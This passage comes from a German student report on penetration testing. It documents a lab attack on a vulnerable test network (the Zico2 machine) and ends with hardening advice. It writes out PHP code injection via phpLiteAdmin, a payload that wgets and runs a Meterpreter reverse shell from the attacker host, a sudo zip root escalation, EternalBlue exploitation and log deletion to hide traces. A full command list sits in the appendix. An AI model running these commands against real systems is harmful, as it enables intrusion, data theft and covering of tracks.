Die geöffnete Datenbank, enthält Nutzerkennungen für die Benutzer ’root’ und ’zico’

Abbildung 5.4 – Datenbankinhalt von test_users


5 Testszenario

Darüber hinaus lässt sich in Kali, mithilfe der Exploit Database[20]-Anbindung, eineVulnerability, samt Exploit, für PHPLiteAdmin 1.9.3 für eine Remote Code Injectionin Hypertext Preprocessor (PHP) finden. Durch Einfügen einer neuen Datenbank undgeschickter Platzierung von PHP-Code in deren Tabellen, ist wie Codebeispiel möglichweitere Informationen über den Webserver zu erhalten. Eine mögliche Ausgabe imBrowser sieht dann aus wie in Abbildung 5.5

CREATE TABLE ’1’ (’1’ TEXT default ’<?php system (" whoami ; id; cat ↘/etc /*- release ; uname -a"); ?>’)

Abbildung 5.5 – Ausgabe bei Zugriff aufhttp://192.168.10.20/view.php?page=../../usr/databases/info.php

5.3.2 Zugangsetablierung auf Webserver

Nachdem genaue Informationen über das verwendete Betriebssystem und dessen Versionim vorherigen Schritt eingeholt wurden, wird nun ein auf das Zielsystem angepassterPayload in Form von Meterpreter als Reverse-Shell via Transmission Control Protocol(TCP) erstellt.

msfvenom -a x86 --plaform linux -p ↘linux/x86/ meterpreter / reverse_tcp LHOST =192.168.10.21 LPORT =443 ↘-f elf -o hack

Anschließend wird der eben erstellte Payload im Webverzeichnis von Kali platziert undfür alle zugreifenden Nutzer freigegeben. Im Anschluss wird Apache2 auf Kali gestartet.

In PHPLiteAdmin auf dem Webserver wird erneut eine neue Datenbank und Tabelleerstellt, die bei Zugriff die Meterpreter-Reverse-Shell auf das System lädt und ausführt.

CREATE TABLE ’1’ (’1’ TEXT default ’<?php system ("cd /tmp; wget ↘http ://192.168.10.21/ hack; chmod 777 hack; ./ hack "); ?>’)


5 Testszenario

Via eines entsprechendem Metasploit-Modul wird anschließend die Reverse-TCP Ver-bindung vom Webserver zum Angreifer aufgebaut und die Meterpreter-Sitzung initiiert.

Abbildung 5.6 – Aufbau der Reverse-Verbindung zm Webserver

5.3.3 Übernahme des Webservers

Nach Umsehen auf dem Zielsystem findet sich im Benutzerordner von Nutzer ’zico’ einevollständige Wordpressinstallation, aus dessen Konfigurationsdateien die Zugangsdatenfür ’zico’ extrahiert werden können.

Anschließend wird eine SSH-Verbindung mit den soeben erhaltenen Zugangsdatenhergestellt. Nach Überprüfung der Systemberechtigungen für ’zico’ zeigt sich, dassdieser die Entpackprogramme tar und zip mit root-Rechten ausführen kann, ohne einPasswort eingeben zu müssen. Diese Voraussetzung eignet sich gut für eine PrivilegeEscalation. Es wird eine Datei ’exploit’ erstellt, die via zip gepackt wird, wobei währenddes Entpackvorgang eine Shell geöffnet wird. Da die Shell im Kontext des zip-Befehlsals Nutzer ’root’ geöffnet wird, verfügt man innerhalb der Shell über die Berechtigungenvon ’root’ und somit über kompletten Systemzugriff. Der Verlauf ist in Abbildung 5.7illustriert.


5 Testszenario

Abbildung 5.7 – Privilege Escalation von user zico auf Webserver

Nun wird ’hack’ erneut gestartet, wobei diesmal für den Meterpreter nicht nur ein-geschränkte Rechte von ’www-data’ bzw. ’zico’ sondern vollständige root-Rechte zurVerfügung stehen.

5.3.4 Erkundung des weiteren Netzwerkes und Pivoting

Mit root-Rechten auf dem Webserver offenbart sich, zum einen, dass die interne Adressedes Webshops und der SSH-Zugang, auf die IP-Adresse 192.168.10.30 gebunden ist,offensichtlich findet also Port-Forwarding vom Router auf den Webserver statt.Zumanderen erhält man die Information, dass dieser neben der Netzwerkschnittstelle aufdenen die Webseite verteilt wird, auch auf eine Verbindung in ein weiteres Netzwerkhat.

Beim Auslesen des Address Resolution Protocol (ARP)-Caches (siehe Abbildung 5.8)des Webservers erscheint eine weitere erreichbare Adresse - 192.168.100.20

Abbildung 5.8 – Auslesen des ARP-Caches auf Webserver


5 Testszenario

Diese IP-Adresse ist vom Angreifer nicht direkt erreichbar und befindet sich nicht imselben Subnetz, wie der bisher erkundete Netzwerkteil. Wahrscheinlich existiert einzusätzlicher interner Router, der den von außen erreichbaren Teil des Netzwerkes vomInneren abschirmt. Daher dient der Webserver mit aktivem Meterpreter als Zugangs-punkt, da dieser über direkten Zugang in das 192.168.100.0/24-Subnetz verfügt. DieserVorgang wird Pivoting genannt. Ein Portscan auf 192.168.100.20 zeigt offene TCP-Portsauf 135, 139 und 445, wie in Abbildung 5.9 zu sehen.

Abbildung 5.9 – Portscan auf 192.168.100.20

Alles well-known-ports, die auf ein Windows-System hinweisen. Besonders interessantist hierbei Port 445, da dieser für Dateifreigaben vorgesehen ist, die wahrscheinlich auchauf den zu suchenden Fileserver hindeuten.

5.3.5 Kompromittierung des Fileservers

Einer der bekannteren aufgedeckten Sicherheitslücken in Windows-System ist CVE-2017-0144[21], auch bekannt als EternalBlue. EternalBlue nutzt eine Vulnerability in derMicrosofts Implementierung von Server Message Block (SMB) und betrifft fast alle seitMitte 2017 ungepatchen Systeme auf denen ein Windows-Betriebssystem ausgeführtwird. Metasploit liefert ein Auxiliary-Modul und Exploit-Modul für EternalBlue zumÜberprüfen und Übernehmen von betroffenen Systemen. Das System hinter der IP-Adresse 192.168.100.20 ist ebenfalls betroffen. (siehe Abbildung 5.10)

Abbildung 5.10 – Überprüfung von Fileserver auf EternalBlue-Anfälligkeit


5 Testszenario

Nach erfolgreichen Übernahme des Systems, stellt sich dieses als der gesuchte Fileserverheraus und dank kompletten Systemzugriffsrechten sind auch die gespeicherten Datenbeliebig auslesbar oder manipulierbar. Während der Wiederholung des Testszenariosführte der Exploit zu Misserfolgen und teilweise zu Abstürzen des Fileservers bzw. desdarauf ausgeführten SMB-Dienstes. Möglicherweise sollte in einer realen Umgebung aufdie Ausnutzung der Vulnerability verzichtet werden, da über das Auxiliary-Modul schonnachgewiesen wurde, das der Fileserver übernehmbar ist und laut Testanforderung dieFunktionalität des Zielystems nicht eingeschränkt werden sollte.

5.3.6 Beseitigung von Spuren

Nach erfolgreichen Angriff auf den Fileserver von Firma X werden nun rückwirkendSpuren verwischt. Log-Dateien anhand derer man das Vorgehen des Angreifers auf Web-und Fileserver nachvollziehen könnte, werden dank umfangreicher Berechtigungen einfachgelöscht, ebenso die abgelegten Meterpreter-Dateien und die angelegten Datenbankenin phpLiteAdmin.

5.4 Ergebnis

Beim Penetrationstest auf das Netzwerk von Firma X, sind verschiedene Schwachstellenermittelt worden, die bei Ausnutzung Zugriff auf den internen Fileserver von Firma Xbieten. Dabei ist der konzeptionelle Ansatz des Netzwerkaufbaus in Ordnung, Haupt-schwachpunkt ist Aufbau der angebotenen Webseite und der veraltete Softwarestandauf den Systemen. Eine vollständige Befehlsliste, als Dokumentation befindet sich imAnhang 7. Auf grafische und konzeptionelle Dokumentation von Seiten des Angreiferswird verzichtet, da diese deckungsgleich mit den vorgestellten Testszenario ist.


5 Testszenario

5.4.1 Verbesserungsvorschläge

Einfallstor für den Angreifer ist die Webseite von Firma X. Durch die Möglichkeit viaview.php aus den eigentlichen Webverzeichnnis auszubrechen, werden viele Informatio-nen zum Aufbau des Systems preisgegeben.

Von Verwendung von Standardpasswörtern, wie in phpLiteAdmin sollte abgesehenwerden, da diese über sämtliche Hersteller wenig variieren und leicht herausgefundenwerden können.

Darüber hinaus wären weder der Angriff auf den Webserver, noch auf den Fileserver, mitaktuellen Versionen der verwendeten Software so einfach möglich gewesen. Sicherheitsre-levante Softwareupdates sollten immer zeitnah installiert werden, da nach Bekanntwerdeneiner Vulnerability oft schnell entsprechende Exploits zur Verfügung stehen, die dannauch mit nur begrenzten Wissen z.B. via Metasploit ausgenutzt werden können.

Die Verwendung von well-known-ports ist üblich, könnten aber bei Abänderung, zumin-dest bei rein administrativen Zugängen, wie SSH-Zugriff, zusätzlich die Systemsicherheiterhöhen, weil potentielle Schwachstellen für einen Angreifer so schwerer zu identifizierenist.


Kapitel 6

Diskussion zur Automatisierung

Teil der Aufgabenstellung ist es Aspekte von Penetrationstests herauszuarbeiten, diesich wahrscheinlich wiederholen und daher automatisiert werden könnten. Während derRecherche und Durchführung von Penetrationstests im Rahmen dieses Projektseminarshat sich herausgestellt, dass sich die allgemeine Vorgehensweise wie in 2.1 beschriebenzwar ähnelt, aber dass explizite Vorgehen während eines Penetrationstests jedoch sehrindividuell verläuft. Darüber hinaus bieten Tools wie Kali und dessen Bordmittelauf Wunsch viele Komfortfunktionen, die ähnliche Vorgänge zusammenfassen oderübersichtlich in eineM Graphical User Interface (GUI) darstellen. Ein Beispiel hierfür istZenmap als GUI für nmap, das verschiedene Scan-Skripte mitbringt und die Ergebnissesehr übersichtlich darstellt.

Außerdem ist ein Ziel von Penetrationstest oft das unauffällige Vorgehen, ohne dasZielsystem zu überlasten. Security-Netzwerklösungen wie Intrusion Detection System(IDS)’s, detektieren in Produktivnetzwerken oft ungewöhnliches Verhalten wie z.B. dasbreitbandige Prüfen offener Ports und sperren den Pen-Tester möglicherweise aus demZielsystem aus.


Kapitel 7

Zusammenfassung

Während des Projektseminars wurde die Thematik Pentesting umfassend beleuchtet.Dabei wurden allgemeine Ansätze zum Vorgehen herausgearbeitet und oft verwendeteAngriffstechniken vorgestellt. Es wurde weiter etwas näher auf die Rolle der Doku-mentation bei Penetrationstests eingangen. Des Weiteren wurden Begrifflichkeiten undTools kurz erklärt, die im Praxisanteil Anwendung fanden. Für den Praxisteil wurde einTestszenario entwickelt, um möglichst viele Aspekte von Pentesting demonstrieren zukönnen. Das Vorgehen während des Penetrationstests im Testszenario wurde im Folgen-den umfangreich erläutert. Abschließend wurde die Möglichkeit der Automatisierungvon Teilschritten während eines Penetrationstests diskutiert.

Bei der Durchführung des Projektseminars konnten die vorhandenen grundlegendenKenntnisse zu Pentesting deutlich ausgebaut werden. Dabei ist anzumerken, dass derSchwierigkeitsgrad bei der Kompromittierung verschiedener Systeme stark variiert.Auffällig ist, dass besonders einfache Angriffe, z.B. mithilfe fertiger Exploit-Module,oft durch Aktualisierung oder gewissenhafteren Konfiguration der Software auf dembetroffenen System hätten verhindert werden können. Allein durch Pentesting kann dieNetzwerksicherheit also nicht erhöht werden, jedoch können aufgezeigte Schwächen undmögliche Konsequenzen der Ausnutzung dieser, möglicherweise dazu führen, dass einSystem gehärtet wird und in Zukunft besser gewartet wird.


Anhang

Befehlsabfolge Testszenario

Die folgenden Befehle geben das Vorgehen beim beschriebenen Testszenario wider. AufKommentare wird hier bewusst verzichtet. Details zu Hintergründen sind in Abschnitt5.3 nachzulesen.

in KaliAusführen eines Intense Scan in ZenmapErkenntnisse zu Funktionsweise der Webseite von Firma X:http://192.168.10.20/http://192.168.10.20/view.php?page=tools.htmlhttp://192.168.10.20/view.php?page=../../etc/passwddirb http://192.168.10.20/ /usr/share/dirb/wordlists/common.txt in Shellhttp://192.168.10.20/dbadmin/test_db.phpsearchsploit phpliteadmin zur Identifizierung möglicher Sicherheitslücken in ShellErstellen einer Datenbank: info.php in phpLiteAdminErstellen einer Tabelle: CREATE TABLE ’1’ (’1’ TEXT default ’<?php system("whoami;id; cat /etc/*-release; uname -a"); ?>’)http://192.168.10.20/view.php?page=../../usr/databases/info.php

in Kali-Shellmsfvenom -a x86 –platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.21LPORT=443 -f elf -o hackcp hack /var/www/html/chmod 777 /var/www/html/hacksystemctl start apache2


7 Zusammenfassung

phpLiteAdminDatenbank hack.php erstellenCREATE TABLE ’1’ (’1’ TEXT default ’<?php system("cd /tmp; wget http://192.168.10.21/hack;chmod 777 hack; ./hack"); ?>’)

in Kali-Shellsystemctl start postgresqlmsfconsole -quse exploit/multi/handlerset PAYLOAD linux/x86/meterpreter/reverse_tcpset LHOST 192.168.10.21set LPORT 433run

in Meterpretersysinfowhoamicd /homecd /zicocd /wordpressdownload /home/zico/wordpress/wp-config.php /rootexit

in Kali-Shellssh [email protected] -ltouch /tmp/exploitsudo -u root zip /tmp/exploit.zip /tmp/exploit -T –unzip-command="sh -c /bin/bash"whoamicd /tmp./hack

in Kali-Shell2msfconsole -q


7 Zusammenfassung

use exploit/multi/handlerset PAYLOAD linux/x86/meterpreter/reverse_tcpset LHOST 192.168.10.21set LPORT 433run

in Meterpreterarprun autoroute -s 192.168.100.20run autoroute -pbackground

in Kali-Shell2use auxiliary/scanner/portscan/tcpuse auxiliary/scanner/portscan/tcpset PORTS 1-1024use auxiliary/scanner/smb/smb_ms17_010set RHOSTS 192.168.100.20use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/shell/reverse_tcpset RHOST 192.168.100.20set LHOST 192.168.10.21run


Abkürzungsverzeichnis

ARP Address Resolution Protocol

DDoS Distrubed Denial of Service

DoS Denial of Service

DMZ Demilitarized Zone

GUI Graphical User Interface

HTTP Hypertext Transfer Protocol

IANA Internet Assigned Numbers Authority

IDS Intrusion Detection System

IP Internet Protocol

PHP Hypertext Preprocessor

SQL Structured Query Language

SSH Secure Shell

SMB Server Message Block

TCP Transmission Control Protocol


Abbildungsverzeichnis

2.1 HTTP-Response-Header von www.tu-ilmenau.de . . . . . . . . . . . . . 5

5.1 Netzwerk von Firma X . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155.2 Ausgabe http://192.168.10.20/view.php?page=../../etc/passwd . . . . . 175.3 Ausgabe dir http://192.168.10.20 /usr/share/dirb/wordlists/common.txt 185.4 Datenbankinhalt von test_users . . . . . . . . . . . . . . . . . . . . . . 185.5 Ausgabe bei Zugriff auf http://192.168.10.20/view.php?page=../../usr/databases/info.php 195.6 Aufbau der Reverse-Verbindung zm Webserver . . . . . . . . . . . . . . 205.7 Privilege Escalation von user zico auf Webserver . . . . . . . . . . . . . 215.8 Auslesen des ARP-Caches auf Webserver . . . . . . . . . . . . . . . . . . 215.9 Portscan auf 192.168.100.20 . . . . . . . . . . . . . . . . . . . . . . . . . 225.10 Überprüfung von Fileserver auf EternalBlue-Anfälligkeit . . . . . . . . . 22


Literaturverzeichnis

[1] IANA: Service Name and Transport Protocol Port Number Registry. http://www.

iana.org/assignments/port-numbers

[2] Hasso-Plattner-Institut: Datenbank für IT-Angriffsanalysen. https://

hpi-vdb.de/vulndb/

[3] Dradis. https://dradisframework.com/

[4] Messner, Michael: Hacking mit Metasploit: Das umfassende Handbuch zu Penetra-tion Testing und Metasploit. dpunkt.verlag GmbH, 2015. – ISBN 978–3864902246

[5] Kali Linux. https://www.kali.org/

[6] Debian. https://www.debian.org/index.de.html

[7] Offensive Security. https://www.offensive-security.com/

[8] Parrot Security OS. https://www.parrotsec.org/download-full.fx

[9] BlackArch Linux. https://blackarch.org/

[10] Rapid7. https://www.rapid7.com/about/company/

[11] Immunity Canvas. https://www.immunityinc.com/products/canvas/index.

html

[12] CORE Impact. https://www.coresecurity.com/core-impact

[13] Grossmann, Jeremy: GNS3. https://gns3.com/

[14] VirtualBox. https://www.virtualbox.org/

[15] rafasantos5: Zico2. https://www.vulnhub.com/entry/zico2-1,210/

[16] Appelbaum, Jacob: Zenmap. https://nmap.org/zenmap/


http://www.iana.org/assignments/port-numbers

http://www.iana.org/assignments/port-numbers

https://hpi-vdb.de/vulndb/

https://hpi-vdb.de/vulndb/

https://dradisframework.com/

https://www.kali.org/

https://www.debian.org/index.de.html

https://www.offensive-security.com/

https://www.parrotsec.org/download-full.fx

https://blackarch.org/

https://www.rapid7.com/about/company/

https://www.immunityinc.com/products/canvas/index.html

https://www.immunityinc.com/products/canvas/index.html

https://www.coresecurity.com/core-impact

https://gns3.com/

https://www.virtualbox.org/

https://www.vulnhub.com/entry/zico2-1,210/

https://nmap.org/zenmap/

LITERATURVERZEICHNIS

[17] nmap. https://nmap.org/

[18] DIRB. http://dirb.sourceforge.net/

[19] phpLiteAdmin. https://www.phpliteadmin.org/

[20] The Exploit Database. https://www.exploit-db.com/

[21] CVE-2017-0144. https://cve.mitre.org/cgi-bin/cvename.cgi?name=

CVE-2017-0144

[22] Engebretson, Patrick: The Basics of Hacking and Penetration Testing. EthicalHacking and Penetration Testing Made Easy. Syngress, 2013. – ISBN 978–0–12–411644–3

[23] Hertzoga, Raphael ; O’Gorman, Jim: Kali Linux Revealed: Mastering thePenetration Testing Distribution. Offsec Press, 2017 https://www.kali.org/

download-kali-linux-revealed-book/

[24] Kim, Peter: The Hacker Playbook 2: Practical Guide To Penetration Testing.CreateSpace Independent Publishing Platform. – ISBN 978–1512214567


https://nmap.org/

http://dirb.sourceforge.net/

https://www.phpliteadmin.org/

https://www.exploit-db.com/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144

https://www.kali.org/download-kali-linux-revealed-book/

https://www.kali.org/download-kali-linux-revealed-book/

Penetrationstests als Werkzeug zur Überprüfung von...

Documents

Transcript of Penetrationstests als Werkzeug zur Überprüfung von...